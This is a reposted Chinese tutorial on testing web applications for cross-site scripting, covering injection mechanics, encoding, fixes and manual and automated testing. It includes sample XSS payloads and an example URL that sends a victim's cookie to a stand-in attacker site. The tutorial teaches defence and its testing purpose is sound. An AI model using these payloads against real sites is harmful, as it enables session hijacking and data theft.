Web安全测试之XSS

Web安全测试之XSS

XSS 全称(Cross Site Scripting) 跨站脚本攻击,
是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript),
当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 
比如获取用户的Cookie,导航到恶意网站,携带木马等。

作为测试人员,需要了解XSS的原理,攻击场景,如何修复。 才能有效的防止XSS的发生。

阅读目录

  1. XSS
    是如何发生的

  2. HTML
    Encode

  3. XSS
    攻击场景

  4. XSS漏洞的修复

  5. 如何测试XSS漏洞

  6. HTML
    Encode 和URL Encode的区别

  7. 浏览器中的XSS过滤器

  8. ASP.NET中的XSS安全机制

XSS
是如何发生的呢

假如有下面一个textbox


<input type="text" name="address1" value="value1from">

value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成


<input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

嵌入的JavaScript代码将会被执行

或者用户输入的是  "onfocus="alert(document.cookie)     
那么就会变成


<input type="text" name="address1" value="" onfocus="alert(document.cookie)">

事件被触发的时候嵌入的JavaScript代码将会被执行

攻击的威力,取决于用户输入了什么样的脚本

当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

HTML Encode


XSS之所以会发生, 是因为用户输入的数据变成了代码。
所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。

在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string
<scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

XSS
攻击场景


1. Dom-Based XSS 漏洞 攻击过程如下

Tom
发现了Victim.com中的一个页面有XSS漏洞,

例如:
http://victim.com/search.asp?term=apple

服务器中Search.asp 页面的代码大概如下


<html>   <title></title>   <body>     Results  for  <%Reequest.QueryString("term")%>     ...   </body> </html>

Tom
先建立一个网站http://badguy.com,  用来接收“偷”来的信息。 然后Tom 构造一个恶意的url(如下),
通过某种方式(邮件,QQ)发给Monica


http://victim.com/search.asp?term=<script>window.open("http://badguy.com?cookie="+document.cookie)</script>

Monica点击了这个URL,
嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在victim.com网站的cookie,
就会被发送到badguy网站中。这样Monica在victim.com 的信息就被Tom盗了.

2. Stored XSS(存储式XSS漏洞),
该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。
攻击过程如下
Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,

Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。

其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。

Dom-Based
XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.

XSS
漏洞修复


原则: 不相信客户输入的数据 注意: 
攻击代码不一定在<script></script>中

  1. 将重要的cookie标记为http
    only,   这样的话Javascript 中的document.cookie语句就不能获取到cookie了.

  2. 只允许用户输入我们期望的数据。
    例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。

  3. 对数据进行Html Encode
    处理

  4. 过滤或移除特殊的Html标签, 例如:
    <script>, <iframe> ,  &lt; for <, &gt; for >,
    &quot for

  5. 过滤JavaScript 事件的标签。例如
    "onclick=", "onfocus" 等等。

如何测试XSS漏洞

方法一: 
查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring,
Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量


<% strUserCode =  Request.QueryString(“code”); strUser =  Request.Form(“USER”); strID =    Request.Cookies(“ID”); %>

假如变量没有经过htmlEncode处理,
那么这个变量就存在一个XSS漏洞

方法二: 准备测试脚本,


"/><script>alert(document.cookie)</script><!-- <script>alert(document.cookie)</script><!-- "onclick="alert(document.cookie)

在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本,
看能不能弹出对话框,能弹出的话说明存在XSS漏洞

在URL中查看有那些变量通过URL把值传给Web服务器,
把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

方法三:  自动化测试XSS漏洞
现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。
然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

HTML Encode 和URL
Encode的区别

刚开始我老是把这两个东西搞混淆,
其实这是两个不同的东西。

HTML编码前面已经介绍过了,关于URL
编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

例如在baidu中搜索"测试汉字"。 URL会变成
http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+

在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string
<scritp>") 就可以了。  (需要引用System.Web程序集)

Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

浏览器中的XSS过滤器

为了防止发生XSS,
很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。
例如下图

如果需要做测试, 最好使用IE7。

ASP.NET中的XSS安全机制

ASP.NET中有防范XSS的机制,对提交的表单会自动检查是否存在XSS,当用户试图输入XSS代码的时候,ASP.NET会抛出一个错误如下图

很多程序员对安全没有概念, 甚至不知道有XSS的存在。
ASP.NET在这一点上做到默认安全。 这样的话就算是没有安全意识的程序员也能写出一个”较安全的网站“。

如果想禁止这个安全特性, 可以通过 <%@ 
Page  validateRequest=“false"  %>

Web安全测试之XSS,布布扣,bubuko.com

时间: 2024-08-08 05:22:02

Web安全测试之XSS的相关文章

转Web安全测试之XSS

转http://www.cnblogs.com/TankXiao/archive/2012/03/21/2337194.html XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞.指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.  比如获取用户的Cookie,导航到恶意网站,携带木马等. 作为测试人员,需要了解XSS的原理,攻击场景,如何修复. 才能有效的防止

web安全之XSS注入

之前在做项目的时候有遇到一些安全问题,XSS注入就是其中之一 那么,什么是XSS注入呢? XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时,嵌入其中Web里面的脚本代码会被执行,从而达到恶意攻击用户的特殊目的. 跨站脚本攻击的危害:窃取cookie.放蠕虫.网站钓鱼 ... 跨站脚本攻击的分类主要有:存储型XSS.反射型XSS.DOM型XSS XSS漏洞是Web应用程序中最

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊 一.跨站脚本攻击(XSS) 跨站脚本攻击的原理 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时

Web应用进行XSS漏洞测试

转自:http://www.uml.org.cn/Test/201407161.asp 对 WEB 应用进行 XSS 漏洞测试,不能仅仅局限于在 WEB 页面输入 XSS 攻击字段,然后提交.绕过 JavaScript 的检测,输入 XSS 脚本,通常被测试人员忽略.下图为 XSS 恶意输入绕过 JavaScript 检测的攻击路径. 常见的 XSS 输入 XSS 输入通常包含 JavaScript 脚本,如弹出恶意警告框:<script>alert("XSS");<

Web安全之XSS跨站脚本攻击

本文主要选择常见web攻击手段之一的XSS(跨站点脚本攻击)来进行讲解,说明其攻击原理,并提出相应的解决办法. XSS XSS 攻击,全称是"跨站点脚本攻击"(Cross Site Scripting),之所以缩写为 XSS,主要是为了和"层叠样式表"(Cascading Style Sheets,CSS)区别开,以免混淆. XSS是一种经常出现在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提供给其他用户使用的页面中.XSS是针对Web站点的客户隐

web安全之xss

xss:跨站脚本攻击,攻击者,把一段恶意代码镶嵌到web页面,,用户浏览页面时,嵌入页面的恶意代码就会执行,从而到达攻击用户的目的. 重点在于脚本,javascript和actionscript    属于前段攻击一般分为三类: 反射性xss,储存型XSS,DOM型XSS((还有flash XSS.mXSS).) 重要介绍 存储型xss 危害: 获取管理员的cookie 鱼叉攻击 挂马(水坑) 等等. (1)反射性xss,url上有攻击者控制的参数,服务器在响应时,会把这个数据发到浏览器上并被解

Web攻防之XSS,CSRF,SQL注入

摘要:对Web服务器的攻击也可以说是形形色色.种类繁多,常见的有挂马.SQL注入.缓冲区溢出.嗅探.利用IIS等针对Webserver漏洞进行攻击.本文结合WEB TOP10漏洞中常见的SQL注入,跨站脚本攻击(XSS),跨站请求伪造(CSRF)攻击的产生原理,介绍相应的防范方法. 关键字:SQL注入,XSS,CSRF 1.SQL注入 所谓SQL注入式攻击,就是攻击者把SQL命令插入到Web表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令. 攻击者通过在应用程序预先定义好的SQ

web前端安全 XSS跨站脚本 CSRF跨站请求伪造 SQL注入

web安全,从前端做起,总结下web前端安全的几种技术: 1,XSS XSS的全称是Cross Site Scripting,意思是跨站脚本,XSS的原理也就是往HTML中注入脚本,HTML指定了脚本标记 XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句. 另一类则是来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页.如当我们要渗透一个站点,我们自己构造一个有 跨站漏洞 的网页,然后构造跨站语句,通过结合其它技术,如社会工

Web Security of XSS

起这个标题有点大,但是作为web安全来讲,XSS还是蛮基础,但似乎又不为很多高手所常用,网上资料虽然很多,但是你真正去实作的时候,又是一头雾水,常常心生不是那么一回事哦的感慨,所以我就想写点或者说记点实践基础性的东西. 要学习XSS,自己搭个php环境还是很有必要的.其实很简单,一二三步就可以 . 第一步安装FastCGI. 第二步去这里下载phpManger,去这里下载php5.6.3, 将后者解压放在一个目录中,然后安装phpManager, 发现IIS就会多一个phpManager. 注册